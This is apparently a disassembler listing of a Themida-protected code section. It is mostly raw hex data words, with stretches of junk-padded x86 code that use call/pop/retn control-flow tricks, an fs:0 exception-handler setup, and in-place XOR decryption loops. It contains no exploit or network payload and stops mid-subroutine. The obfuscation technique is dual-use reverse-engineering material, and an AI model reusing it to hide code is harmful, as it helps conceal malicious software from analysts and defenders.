895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0B84AC353h, 0B1982215h, 0FE9DEh, 30B00000h dd 0BE875064h, 0B240F87Eh, 3013B5BDh, 99858D41h, 8906140Fh dd 141429B5h, 92BB5006h, 897C0308h, 0DBBF2404h, 2942FDD3h dd 140E8985h, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0FAEFC355h, 8166F5B7h dd 6ABC0FF3h, 5E858D00h, 6A0618ADh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 419EC356h dd 2EB18851h, 2042BB8Fh, 0C083161Eh, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0B9A71D62h dd 74FBC781h, 8B501F37h, 240489FEh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 7AC35040h, 6AE785h, 22F5BD8Bh dd 6A0614h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0C2C35242h, 0D2DF80C8h, 1A7195FFh, 6A0614h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0E99E98C3h, 0Eh, 0C59DB129h, 807B6D69h, 65EA7746h, 8D8D271Bh dd 617A8FCh, 8810Fh, 810F0000h, 2, 0D1FFFA8Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 82C35141h, 235DBD8Bh dd 0BD830614h, 61412CDh, 66850F01h, 0F000000h, 1E8Bh, 12E800h dd 2DA50000h, 430D84E6h, 0AF816DFFh, 9F714218h, 0CF3F5BEEh dd 0CACDD781h, 665B61C8h, 4C90C781h, 8D89026Ah, 6141505h dd 0FA8B6690h, 0BF665750h, 905BC6A2h, 0FFBBCF80h, 14093995h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0C2BC00FAh, 0D8AE9FBh, 0E80000h, 5D000000h dd 0AD68ED81h, 0BF0F0618h, 55006AFBh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0B5898447h dd 6142C4Dh, 9623858Dh, 66900617h, 501458BFh, 0DD9D8B90h dd 64061400h, 35FFh, 9D8B0000h, 6140025h, 258964h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0F2BC353h, 3694A321h, 85FFBFB9h, 614236Dh dd 71E38166h, 319589F1h, 6A06141Bh, 55BD8BFFh, 0FF06141Bh dd 141071B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0EB80EE52h, 0CEF7810Eh, 0F021317h dd 95FFDABFh, 6142B19h, 104E9h, 0B0F88B00h, 0F7D78100h dd 0E61F6259h, 2830F70h, 8B000000h, 0E98D89D9h, 0E4061418h dd 0E7C38171h, 3C4C1CE7h, 0DA830F61h, 81000000h, 0E194A8F7h dd 91BD2908h, 0F06141Ah, 0B589C8B6h, 614082Dh, 6BAh, 8BDE8B00h dd 0FE9C1h, 0F130000h, 0D1555E79h, 0B79A30E6h, 74153276h dd 4E8C1ACh, 8258589h, 0F7660614h, 0FE9E2h, 0B1320000h dd 0AC4E48F0h, 0CD2F135Ah, 11AC9B96h, 81C82B24h, 0AE84DBD3h dd 9D18B2Dh, 1404A5B5h, 6E906h, 0BD230000h, 61412C9h, 19F5858Bh dd 8D310614h, 61410C5h, 0F07C083h, 0C083DEBFh, 89575000h dd 142131B5h, 3B5B5F06h, 11830FD0h, 89000000h, 1406A99Dh dd 3BE906h, 8D890000h, 61406DDh, 20B58D8Bh, 0DF8B0614h dd 0F01E183h, 2484h, 1DBD8900h, 83061425h, 1420B5A5h, 9529FE06h dd 614267Dh, 19F59589h, 95890614h, 6140431h, 0E9h, 0C5B58D00h dd 6A06180Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 520AC350h, 93461415h, 2DBB66A9h dd 80006A1Bh, 95FF8FF3h, 6141169h, 0C13CD781h, 9DB94FDCh dd 66000007h, 83C117BBh, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0D4BF5CC3h, 56006AFCh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 3844C0Dh, 71EF014Fh, 0FE92902h, 20000000h, 27882F8h dd 0BE291C2Ah, 131F23A8h, 0C02BB8C2h, 0C8E0Fh, 8E0F0000h dd 6, 223DB531h, 0D22B0614h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 68C35646h dd 843EDA00h, 3F282C25h, 0BBD9D03h, 33AD0614h, 3E8D1C2h dd 4E983D0h, 6AF475h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0BD8B33C3h, 61406D1h, 51006AFCh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0EB93C8D2h, 4C69C26Ah, 0CA99D8Bh, 880D0614h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 351FC356h, 9915E92Bh, 958B60C8h, 6143229h dd 0C2816660h, 958B6819h, 6141FD9h, 4D8D8B61h, 6A061406h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 5177C356h, 0BD2B4266h, 6142B39h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 19F172C3h dd 0F2F04F2h, 89h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 123D9BCDh, 4D909296h dd 0ADBD8330h, 61429h, 52840Fh, 810F0000h, 5, 0F5C38166h dd 0B857h, 12E80000h, 72000000h, 0E1DD7211h, 40F79554h dd 37539BFBh, 4023FB68h, 14E9F7h, 5DEA0000h, 0D27D8018h dd 71F4976Ch, 5D557219h, 1E191569h, 8D5F22DEh, 144D798Dh dd 0D98B6606h, 0BD8BE1FFh, 6140F6Dh, 2671BD83h, 0F000614h dd 43A84h, 0D1BD8B00h, 6606140Ah, 0BD83FE8Bh, 6142671h dd 3F840F01h, 8B000004h, 143511BDh, 71BD8306h, 3061426h dd 3F6860Fh, 9600000h, 140D69BDh, 0D98C6606h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F6C35040h, 8B74A1A4h dd 142F359Dh, 9E806h, 0D6A60000h, 15DE1B36h, 818240A8h dd 0FCEE70CBh, 0E1805F1Fh, 0A5BD0904h, 0E8061404h, 11h dd 99996497h, 0A1667E84h, 423D4B26h, 0A9B39A64h, 4D8D8934h dd 5B061419h, 840FC90Ah, 1ADh, 2820Fh, 0F98A0000h, 8BF98B66h dd 14196985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0BD8B6BE9h, 6142395h, 1B818533h dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 81607EC3h, 4959B2F0h, 0CA8B661Fh, 0BF665061h dd 4898262h, 319D8B24h, 6606141Bh, 6ABB39BBh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0BC75B7AFh, 60ADBB61h, 313D2FBAh, 39952915h, 6106142Bh dd 0AD958960h, 0F06141Bh, 686h, 5D950900h, 6106141Ch, 4E8h dd 1F03FF00h, 12E900h, 0BA890000h, 6D6A3C29h, 7456B53Eh dd 3D422C97h, 2A5613F3h, 5E950h, 2F370000h, 8B221981h dd 0B3042444h, 60008B63h, 0D2C158BEh, 44896113h, 8E80424h dd 29000000h, 47BD643Bh, 0F72737Ch, 1585h, 10E900h, 74660000h dd 6AAD0FE7h, 10238B74h, 0E3146025h, 585FCE36h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0E3C35242h, 0DBC0F5E0h dd 6C26C781h, 95FF2BC1h, 61409ADh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 9C35343h, 708398B4h, 39BD8B78h dd 8906142Ch, 17AA9885h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 89E4F1F7h, 1422119Dh dd 0CDB50906h, 0E9061415h, 15Bh, 0DE38166h, 90858B68h dd 520617AAh, 0C75BFB8Bh, 1800h, 0B58BF900h, 617AA94h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 83C35343h dd 0A6E1BFCFh, 669860F9h, 0AAB3FB8Bh, 0B29858Bh, 0DB800614h dd 8B06894Bh, 14196985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 6ABF724Bh, 710C21AEh dd 0BE8h, 98AC3400h, 0E40B160Bh, 0C35D777Fh, 82DBD0Bh dd 895B0614h, 141ACD85h, 4468906h, 1FB58D89h, 60960614h dd 6E9h, 0A64EC200h, 8ACF9A58h, 525061C6h, 0AE9965Bh, 0AD000000h dd 1B16548h, 1A41F9F9h, 90B5FF7Fh, 810617AAh, 0D27C82D7h dd 0EEA56808h, 8C0F240Ah, 2, 34815F52h, 15ED5A24h, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0BF66C871h, 858DE93Dh, 617AA98h, 8499D0Bh, 0E8500614h dd 10h, 62DC1B9Ch, 0AEBA7C40h, 0E0997DF1h, 0F59ABE0Bh dd 2404895Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 41C35141h, 5482FC27h, 74C7E73Ch, 31A59D09h, 95FF0614h dd 61409ADh, 61FABF0Fh, 14E9h, 55BE4C00h, 0C0392031h, 592E337Fh dd 5C4A969Ah, 0BAF70FD1h, 7185C797h, 3061426h, 60000000h dd 13E9F78Bh, 5A000000h, 0C70C6F1Dh, 94D5E003h, 0FC61D750h dd 67F2DB4h, 8361087Dh, 17AA98BDh, 840F0006h, 34h, 48E9D98Bh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 76C8C353h, 1CAC387Dh, 68C0Fh dd 95890000h, 6143529h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 89C08B00h, 1409A9B5h, 68B0F06h, 9000000h dd 1425BD95h, 9BBB6606h, 83FA8BFFh, 142671BDh, 850F0306h dd 460h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 92C35242h, 0AA98BD83h, 0F000617h, 43784h, 42D38000h dd 0AA98B5FFh, 6A0617h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0C6106EC3h, 0C61B531h, 95FF0614h dd 6142AF5h, 8BF98B66h, 17AA8CB5h, 19952906h, 0C706140Eh dd 1000106h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 722D798Ch, 96F83401h, 0FE8B5250h dd 0BF52310Fh, 0FD51096h, 50585A5Fh, 96DA8B66h, 10E9h dd 363D9700h, 918A7CB0h, 4206BAA4h, 18B4899Fh, 98B5FF51h dd 6A0617AAh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0F547C357h, 0FFB3A19Dh, 140B3195h dd 55BD8B06h, 0E8061431h, 0Eh, 9058CC8Fh, 0C2C694F3h, 0CE6B4D2Dh dd 12E9F55Ch, 0E9000000h, 5C4285A7h, 0C34120E9h, 0D0CD99C0h dd 9842A979h, 0B58B5BD1h, 617AA8Ch, 90CF8166h, 0D5858B3Dh dd 81061421h, 762C3AD7h, 0C486897Ch, 89000000h, 140FA59Dh dd 29958B06h, 6A061432h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0B211C356h, 8360CA64h dd 17FDD78h, 140E29BDh, 0DE806h, 0D9C80000h, 0A076B55Eh dd 8CE38AA6h, 890396A5h, 1409A99Dh, 0C2835B06h, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 2E4C2F0Ch, 5EC6687Ch, 50890B04h, 52006A20h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 92A6B875h dd 0E9F88B66h dd 0Eh, 330D7494h, 5BB98AB4h, 9284FDE0h, 858D14A6h, 617BE06h dd 8689F98Ah, 0B8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 3BC35343h, 78AAB1ACh, 8B70EF9Ah, 142621BDh dd 6A006A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 1C7DC351h, 60189CEAh, 0B866FE8Bh dd 0FF61B7E4h, 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 8E0F12h, 89000000h dd 141371B5h, 3995FF06h, 8B061409h, 140BFDBDh, 2C4BB06h dd 60963C3Ah, 0B9B25250h, 5250310Fh, 585A310Fh, 5061585Ah dd 7E85250h, 0B9000000h, 90C5CA93h, 8F0F36C6h, 0 dd 8B310F5Fh, 96585ADFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0CC35747h, 9368411h, 140D4D85h, 98B5FF06h dd 6A0617AAh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 2E1AC351h, 8B64F9E2h, 0F595FFB3h dd 6A061420h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0FCDAC356h, 728BC547h, 0D4F780FFh dd 0C21BD83h, 0F000614h, 5284h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 8EAE41C5h dd 14592091h, 10E9BD89h, 8B500614h, 243489DAh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0CAC35545h, 8A9C1CCFh dd 0FF22B8B1h, 17AA98B5h, 0FFFA8B06h, 1402B195h, 39852906h dd 0FF061410h, 17AA98B5h, 0AAE78106h, 0E87260BEh, 0Ah dd 878DE953h, 0FB143895h, 81662F3Fh, 5BBB39DFh, 308195FFh dd 7E80614h, 23000000h, 0CFC68B29h, 0BF66FD58h, 835F4644h dd 1409F5BDh, 840F0206h, 72h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 10C35646h, 3067C673h, 521BEA15h dd 3DF80DCh, 0BD958960h, 8B061415h, 142D19B5h, 858B6106h dd 6142D01h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 38C35141h, 5BD92F9Fh, 8BBBFF40h, 8B40FE19h, 1406C99Dh dd 0C606h, 24F59D29h, 85C70614h, 614244Dh, 0 dd 0FFF356E9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0C37D23A6h, 0B69BD89h dd 0C18B0614h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0D4C35646h, 53115DCDh, 4319D8Bh, 0BF5B0614h, 54F2E868h dd 0F99858Dh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0C89027C3h, 65DF81A1h, 502AFB99h dd 0B820Fh, 52500000h, 0FD88B66h, 5A616031h, 24048958h dd 68A0Fh, 9D8B0000h, 6140D55h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0AD8297C3h dd 53A3867Fh, 9D8B006Ah, 61413F5h, 0BCCA858Dh, 6A0618h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 76641EC3h, 895A55F1h, 14209185h, 5C08306h, 0DDF38166h dd 90B39009h, 6E950h, 3D0000h, 0C3B78D99h, 819D8990h, 6A06142Eh dd 5FBB6600h, 6A006A2Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0EC6AC355h, 2D45B589h dd 95FF0614h, 6141A71h, 8DFE8B66h, 17A8FC8Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 5644828Ch, 8BDFFF65h, 1410399Dh, 0DB816606h, 0D1FF0828h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 22C35242h dd 3FF8133Dh, 5818C582h, 1E99D8Bh, 0BD830614h, 61412CDh dd 7A850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 4173C356h, 6C5384Ch dd 67B48E1Bh, 26AF98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0BCC35343h, 5FE6362Bh, 90BB75D4h, 8BF3BB66h dd 12E850h, 4FFD0000h, 0AA89FDBh, 0B9F11206h, 0BBCCC0F0h dd 5C94B12Eh, 9D8B905Fh, 6140021h, 93995FFh, 8B660614h ; --------------------------------------------------------------------------- stc loc_5948A9: ; DATA XREF: Themida_:0054AC70o jmp loc_595749 ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 618BCD4h cld xor edi, 4EA344ABh mov di, 0A341h lea eax, [ebp+6179623h] push 0 push ecx call sub_5948D6 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5948D6 proc near ; CODE XREF: Themida_:005948CEp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5948D6 endp ; --------------------------------------------------------------------------- xlat mov esi, 321B8A4Eh push edi stc pop ebx adc di, 0F4F9h push eax mov [esp], eax push 0 push ebp call sub_594903 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594903 proc near ; CODE XREF: Themida_:005948FBp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_594903 endp ; --------------------------------------------------------------------------- lea ecx, [ebp+53h] jmp loc_59492A ; --------------------------------------------------------------------------- db 0C5h ; --------------------------------------------------------------------------- loc_59491C: ; CODE XREF: Themida_:00594972j pusha hlt ; --------------------------------------------------------------------------- dw 2858h db 0BBh, 0DAh, 67h ; --------------------------------------------------------------------------- loc_594923: ; CODE XREF: Themida_:00594979j push esp add ebx, [edi] xor ecx, [esi-5Bh] inc eax loc_59492A: ; CODE XREF: Themida_:00594916j pop edi jb loc_59493D jo loc_59493D jp $+6 loc_59493D: ; CODE XREF: Themida_:0059492Bj ; Themida_:00594931j mov di, 0CD0Dh push large dword ptr fs:0 add ebx, [ebp+61425CDh] mov large fs:0, esp pusha xor bx, 304h or di, 7Dh popa inc dword ptr [ebp+614236Dh] mov [ebp+61409A1h], eax call near ptr loc_59497B+4 js short loc_59491C sub eax, 0EFAFEE6Bh jg short loc_594923 loc_59497B: ; CODE XREF: Themida_:0059496Dp jmp far ptr 680h:0F1CDE30h ; --------------------------------------------------------------------------- align 4 dd 0E5BD8B00h, 5F06140Bh, 0BD89FF6Ah, 6141C25h, 0D49B5FFh ; CODE XREF: Themida_:loc_595701j dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0BD8B16C3h, 614235Dh, 2B1995FFh, 3EE90614h dd 0B000001h, 1408CD9Dh, 100B006h, 1430599Dh, 6070E606h dd 2215B503h, 0EE90614h, 0F2000000h, 0F0D2D984h, 6EB4E723h dd 0A50BDDECh, 71E461FBh, 14E9h, 24D47000h, 7E3653ECh dd 0FEA60C20h, 5A7117E6h, 79907E26h, 0F613CE9h, 0F083h dd 0DE900h, 0C300000h, 0AEBC0CD6h, 38BFD0E3h, 0FE380FEh dd 8B66C8B6h, 6BADFh, 0F5600000h, 0D8A0Fh, 8E90000h, 85000000h dd 0B947F076h, 61B1417Eh, 8D31C18Bh, 6140D0Dh, 8A04E8C1h dd 0E2F766F9h, 0FB090BBFh, 33C82B08h, 1431119Dh, 8BD18B06h dd 1430E1BDh, 93E906h, 95890000h, 6142EA1h, 8858Bh, 0BD8B0000h dd 6140FBDh, 31518D89h, 0C0830614h, 0FBBF0F07h, 8900C083h dd 142ED185h, 0FD03B06h, 0F83h, 0FB8B5300h, 5BE95Bh, 0BF0F0000h dd 0FEBF0FF8h, 0FFFF8D8Bh, 0EEBFFFFFh, 0E8443CCCh, 12h dd 69B1DD02h, 0AA53E051h, 95BFA3D2h, 177D8FA0h, 0BD29ED6Eh dd 6140F65h, 1E1835Fh, 23840Fh, 0FA8A0000h, 83DE8B66h dd 0FFFFFFA5h, 9589FEFFh, 614221Dh, 89589h, 0B5310000h dd 614167Dh, 0E9h, 34B58D00h, 8B06183Ch, 6A006AD8h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 746AC357h, 2510238Bh, 0EB811460h, 2E8AD5BCh, 116995FFh dd 0BD8B0614h, 614210Dh, 0FB5B9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0E183F01Eh dd 50006AFCh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0C0446454h, 39B501D0h, 0FC06140Dh, 2BDFB70Fh dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 9AA7A8D2h, 54B91D14h, 0BAh, 20BF5100h, 5B48A276h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0DEC35343h, 9E87D98h, 92000000h dd 0A99914A6h, 0E15873A2h, 0CAE8BF66h, 56006A5Fh, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0C9E7DE9Dh, 0B8C8C1C4h, 0D88B6603h, 0D9EE380h, 88h dd 958B4AB7h, 6143229h, 8B95D380h, 14064D8Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8A58188Bh dd 52006AF9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 9C56ED9Bh, 24A56AC4h, 29ADBD83h, 0F000614h dd 7284h, 219D8900h, 80061415h, 0B8E9F7h, 53000000h, 8D5FD88Bh dd 144D798Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 1027F571h, 9158C319h, 0D381664Ah dd 0E1FF613Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0BAC35343h, 0E92CCDBDh, 5, 0B593D2FAh, 0D19D8B09h dd 8306140Ah, 142671BDh, 840F0006h, 470h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ch, 66C35040h, 3029331h dd 9639EEEDh, 71BD83FCh, 1061426h, 459840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 102BD6C3h, 894EF65Dh, 141C6185h, 71BD8306h, 3061426h dd 3EF860Fh, 85890000h, 6142AC1h, 12E8h, 14569500h, 104B1BC9h dd 29BA893Dh, 3E6D6A3Ch, 0F97456B5h, 6A605Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 8C66CBC3h dd 50006AD9h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 3BA1C6Dh, 142559BDh, 80CEB706h, 6A04E1h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0AC1E37C3h, 0AFF8A4Ah, 48840FC9h, 0F000001h, 858BFFB7h dd 6141969h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 71C35747h, 1A72FCF7h, 159D8Bh, 85330614h, 6141B81h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A6C35141h dd 0FDE1CB1h, 687h, 6D958900h, 90061405h, 310F5250h, 7E8h dd 0FBF5BD00h, 0E233137Eh, 5BFB8B66h, 9050585Ah, 9759D23h dd 6A0614h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0CFC35646h, 809EE5ACh, 4E84043h, 0FF000000h, 0BB001F03h dd 6656C6BCh, 8BD88B50h, 52042444h, 8B008B5Fh, 244489DEh dd 6E804h, 97110000h, 0DB03B003h, 5E9h, 0DD520200h, 585FBF81h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1BC35242h dd 1ADBD09h, 95FF0614h, 61409ADh, 1D8DBD8Bh, 85890614h dd 617AA98h, 3850Fh, 0BF0F0000h, 1D3E9DFh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h ; --------------------------------------------------------------------------- and al, 4 loc_594F42: ; DATA XREF: ___:off_438C78o add dword ptr [esp+4], 14h inc edx push edx retn ; --------------------------------------------------------------------------- db 6Bh, 53h, 0E8h dd 5, 64B8538Eh, 0E9BB6658h, 8B5F5FA7h, 17AA9085h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8501ACF2h, 6140E15h, 1800C7h, 870F0000h, 1, 94B58BF9h dd 290617AAh, 14063195h, 29858B06h, 6A06140Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 2625C356h, 25E91BF7h, 660689BFh, 8B6783BBh, 14196985h dd 8C0F5106h, 6, 26758589h, 8B5F0614h, 142B65BDh, 4468906h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 15C35040h dd 9034EA84h, 8B60379Fh, 669661CFh, 5099A1BFh, 57006A96h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0E54F8707h, 0AFDB8166h, 90B5FF8Bh, 6A0617AAh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 3B2C352h, 1F9A08DDh, 0E5A6800h, 8B666A5Bh, 243481FAh dd 6A440DA5h, 0D59D8B56h, 5B061406h, 0AA98858Dh, 6A0617h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 40CBACC3h, 8B721D8Fh, 1414E19Dh, 66505006h, 5B4038BFh dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0EA85C357h, 8D89A3EBh, 6140FA5h dd 0FCD8589h, 95FF0614h, 61409ADh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 73C35040h, 29B5339Ch, 0BD8B61F5h dd 6140659h, 2185B589h, 85C70614h, 6142671h, 3, 0FF59589h dd 12E80614h, 9A000000h, 921E0552h, 72F267A8h, 0B7869B60h dd 0BB19D812h, 810F53A5h, 0 ; --------------------------------------------------------------------------- pop edi pop ebx cmp dword ptr [ebp+617AA98h], 0 jz loc_595175 jg loc_595169 call sub_595162 add edi, [edi+esi*2-7B0876F0h] dec esp ; =============== S U B R O U T I N E ======================================= sub_595162 proc near ; CODE XREF: Themida_:00595155p mov ebx, [ebp+6142B8Dh] pop ebx loc_595169: ; CODE XREF: Themida_:0059514Fj cmc jmp loc_595190 ; --------------------------------------------------------------------------- mov edi, [ebp+6142B69h] loc_595175: ; CODE XREF: Themida_:00595149j ; sub_595162+2Aj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_595175 jmp short loc_5951C6 ; --------------------------------------------------------------------------- loc_595190: ; CODE XREF: sub_595162+8j ; sub_595162+45j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_595190 jmp short loc_5951C6 ; --------------------------------------------------------------------------- loc_5951AB: ; CODE XREF: sub_595162+60j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5951AB jmp short $+2 loc_5951C6: ; CODE XREF: sub_595162+2Cj ; sub_595162+47j mov eax, eax push 0 push ecx call sub_5951D3 and [ecx-3Dh], bl sub_595162 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5951D3 proc near ; CODE XREF: sub_595162+69p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5951D3 endp ; --------------------------------------------------------------------------- xor edx, [eax+598D8B60h] push cs adc al, 6 movzx eax, di popa mov [ebp+6142A85h], edx mov edi, [ebp+614058Dh] push 0 push edi call sub_595207 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_595207 proc near ; CODE XREF: Themida_:005951FFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_595207 endp ; --------------------------------------------------------------------------- add [ebp+66h], esi scasb mov edi, [ebp+614068Dh] stc cmp dword ptr [ebp+6142671h], 3 jnz loc_595701 push 0 push edx call sub_59523A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59523A proc near ; CODE XREF: Themida_:00595232p arg_4 = 